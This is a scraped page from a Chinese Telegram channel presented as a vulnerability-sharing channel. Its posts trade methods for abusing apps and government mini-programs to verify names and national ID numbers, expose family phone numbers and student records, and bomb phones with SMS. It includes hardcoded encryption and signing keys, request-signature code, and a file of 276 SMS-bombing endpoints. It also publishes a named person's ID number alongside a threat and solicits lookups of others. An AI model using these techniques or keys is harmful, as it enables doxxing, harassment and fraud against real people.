i分享『软件分享/脚本分享/漏洞分享』
33.1K subscribers
203 photos
19 videos
294 files
503 links
本频道为技术分享频道 ,频道中投稿分享的所有漏洞请涉事官方尽快修复!避免不法分子滥用造成危害。

漏洞信息披露、安全预警、技术研究、漏洞分析、风险通报

@pyifenx 防丢失频道。

🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳
Download Telegram
你开我户也没意义,只能开一张从小丑到大的证件大头照。我的户籍是偏远的农村,你就算寄蟑螂牛卵花圈给我,也只能放在9公里外的镇上驿站。你想来线下真实我,我这里四面环山,你要坐飞机然后转高铁再转长途巴士再打车再找摩托,你要早点哦,因为5点之后就没有客车了。你去大队里报我名字也问不到,得报我爷小名,一进村发现村里人还听不懂普通话,来的时候还得小心点别被当成偷狗的。最后步行才能找到家,到了你还得给牛栓棚里,村里老光棍多,被拐了我还救你。
1🤣31👍7❤5🤡1
🇨🇳 庆祝中华人民共和国成立77周年

今天!我们迎来中华人民共和国成立77周年。金秋十月,山河同庆;举国上下,共贺华诞。值此国庆佳节,衷心祝愿伟大祖国生日快乐、繁荣昌盛、国泰民安!祝大家国庆快乐、阖家幸福、万事顺遂!

🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤3🤣1🖕1
276个短信轰炸接口完整请求.json
269.5 KB
这个黑客很懒,没有留下任何说明……

——@SGS520
📮 投稿通道 ☘️ 交流群组
👍1👎1
微信小程序 你我贷借钱 贷款2要素和脱敏手机号
密钥1(AES):
fb16d910adccec07
密钥2(SK):
C09F1B5E145C42B9A951B20D2918E09C
AES加密:
AES-128-ECB
PKCS7
Base64输出
加密字段: realName / idCardNo / idenAddress
sign-data签名:
sign = MD5( token + path + ["?"+query] + bodyPart + SK ).upper()
bodyPart:
dict → json紧凑格式(无空格)
str → "str"(两侧双引号)
null → 空串

——@xddsnmb
📮 投稿通道 ☘️ 交流群组
❤3
#小程序://i西安城市生活服务/I西安/wnqPDtOdjeqmu8A
无限制二要素
sign生成逻辑如下
current_timestamp = str(int(time.time() * 1000)) # 13位毫秒时间戳
body = f'[{{"_requestBody":{{"certType":"1","realName":"{name}","certNo":"{idcard}"}}}}]'
request_data = base64.b64encode(body.encode('utf-8')).decode()
full_string = f"99f19ae140a2633e550410f82906987b&Operation-Type=app.ixa.uc.alipay.cloudTwoMetaCheck.h5&Request-Data={request_data}&Ts={current_timestamp}"
signature = hashlib.md5(full_string.encode('utf-8')).hexdigest()
return current_timestamp, signature
此外里面还有其他有趣的东西 可自行发掘

——@sbquangou
📮 投稿通道 ☘️ 交流群组
🤡2❤1
概率V2有限制核验口 需要用户关注微信支付商家助手公众号
https://pay.weixin.qq.com/index.php/extend/staff_account

员工管理 - 新增员工账号 - 输入姓名和微信号即可核验

{
"errorcode": -124,
"msg": "微信用户没有关注公众号",
"data": {
"nickname": "政",
"portrait_url": "http://wx.qlogo.cn/mmhead/16OvUZfwjeQGo45UeN5TviaOJqnN4cYRrYa4hyIibpQ7K2qJiaJvBpPx6ndlhczGwSe9W3WSMCYv4E/64/0"
}
}

{
"errorcode": -126,
"msg": "实名不一致 <div class='tips-info'>员工微信号实名姓名与所填员工姓名不一致,请向员工核实后填入真实姓名</div>",
"data": {
"nickname": "东东咚",
"portrait_url": "http://wx.qlogo.cn/mmhead/pgS37nibshT8r7Oic9LPtx7NfMBowOl4CCfY6k3DTgo68/64/0"
}
}

——@imgodgun
📮 投稿通道 ☘️ 交流群组
❤6
人口信息二要素.py
2.2 KB
这个黑客很懒,没有留下任何说明……

——@nxjd136
📮 投稿通道 ☘️ 交流群组
国庆快乐!
├活动类型: 通用抽奖
├满人开奖: 101人
├参与关键词: i分享与国同庆,祝祖国繁荣昌盛!
├强制关注频道(群组):
i交流
i分享『供需频道』
├奖品列表:
├ 假地址 x 10

[如何参与?]在群组中回复关键词『i分享与国同庆,祝祖国繁荣昌盛!』参与活动。
💩15
发 姓名 身份证
👍3
评论区发送许愿,说清楚 许愿什么?有什么信息,北落看到随机抽几个满足许愿,同时各位查档圈的大佬们也可以满足他们的许愿哦!

比如:
许愿假地址
张三 110101199901011234
❤3
华为应用商店-随时借app-接码登录-银行卡-填写
华为应用商店-急心借app-接码登录-银行卡-填写
华为应用商店-省呗app 可挖电话短信口 申请额度一个月多次境外电话 重复发送短信
蒙速办小程序-疫苗接种-绑定就诊卡不要扫脸 填写要素-里面有一个按钮需要发送短信忘是哪个了-可以看到内蒙古模糊常用未成年出家长电话 成年直出模糊常用 这里也能核验二要素
华为应用商店-便荔卡包-激活额度-身份证上传用加工机器人做一个正反-填写三要素 不过这里是银行预留的电话 核验的是银行预留的三要素
贾芳芳 410522198310185521
李可欣❤️贾芳芳 河南人马上被祸害 爹妈死绝了


——热心网友
📮 投稿通道 ☘️ 交流群组
❤6
湘易办3.0.0版本找回账号-点我的证件

如果湘易办显示“公安未注册”在浏览器湖南公安手动注册账号 再去湘易办点我的证件就能出神父

湖南公安网址: https://fwpt.hnga.gov.cn/#/index

包名:https://xyb.zwfw.hunan.gov.cn/gateway3/faceidapi/sdk/sdkauth
响应:JqEDA443cQ3qTbUfnS4ls8hFM365EGQztIE0wb+lDfKflPJtigIEksjhz7c97F6FYkB1Dof6l4XKoapCD14xJGb/bW57zc9c9pV6XTcFM6/9bqGGveC6D53acxeqBHzkyxJyqLeBUQwFUMICxyZuytIR7MTvBSRKbdMIjoiDAL4=

os:加白列你妈死了

——热心网友
📮 投稿通道 ☘️ 交流群组
❤11👎6😭4👍2🤣1
@ifengxiang 新群链接,旧群如果有机会解开的话,到时候就再说,先进入这个新交流群。

目前正在禁言,稍后恢复完后会解开。
👍3🤣3❤2
明天送福利
❤2👍2
微信小程序 陇运快客 添加乘车人 核验二要素
#小程序://陇运快客/a6rzbWoCqirGKJc

——@guibian777
📮 投稿通道 ☘️ 交流群组
❤2
浙江学籍+家人名字(微信小程序浙里办-学在浙江-添加孩子-学校随便填-在小程序内开启抓包点详情再点催办-找名字为mapi开头的包)

——@guibian777
📮 投稿通道 ☘️ 交流群组
❤6
@ifengxiang

新群广告空缺!国庆假期来了,人流量可见的高了很多,正是各位老板引流推广的好时机!

原价 200U 的 群组月滚动置顶广告 现在折扣出售!并且另外赠送 一个星期的主频周广+价值20U的供需积分!(价值共计 270u)
只要 150U!~

需要联系 @beiluo_sxbot
🤣5💩3🤡2❤1👍1😁1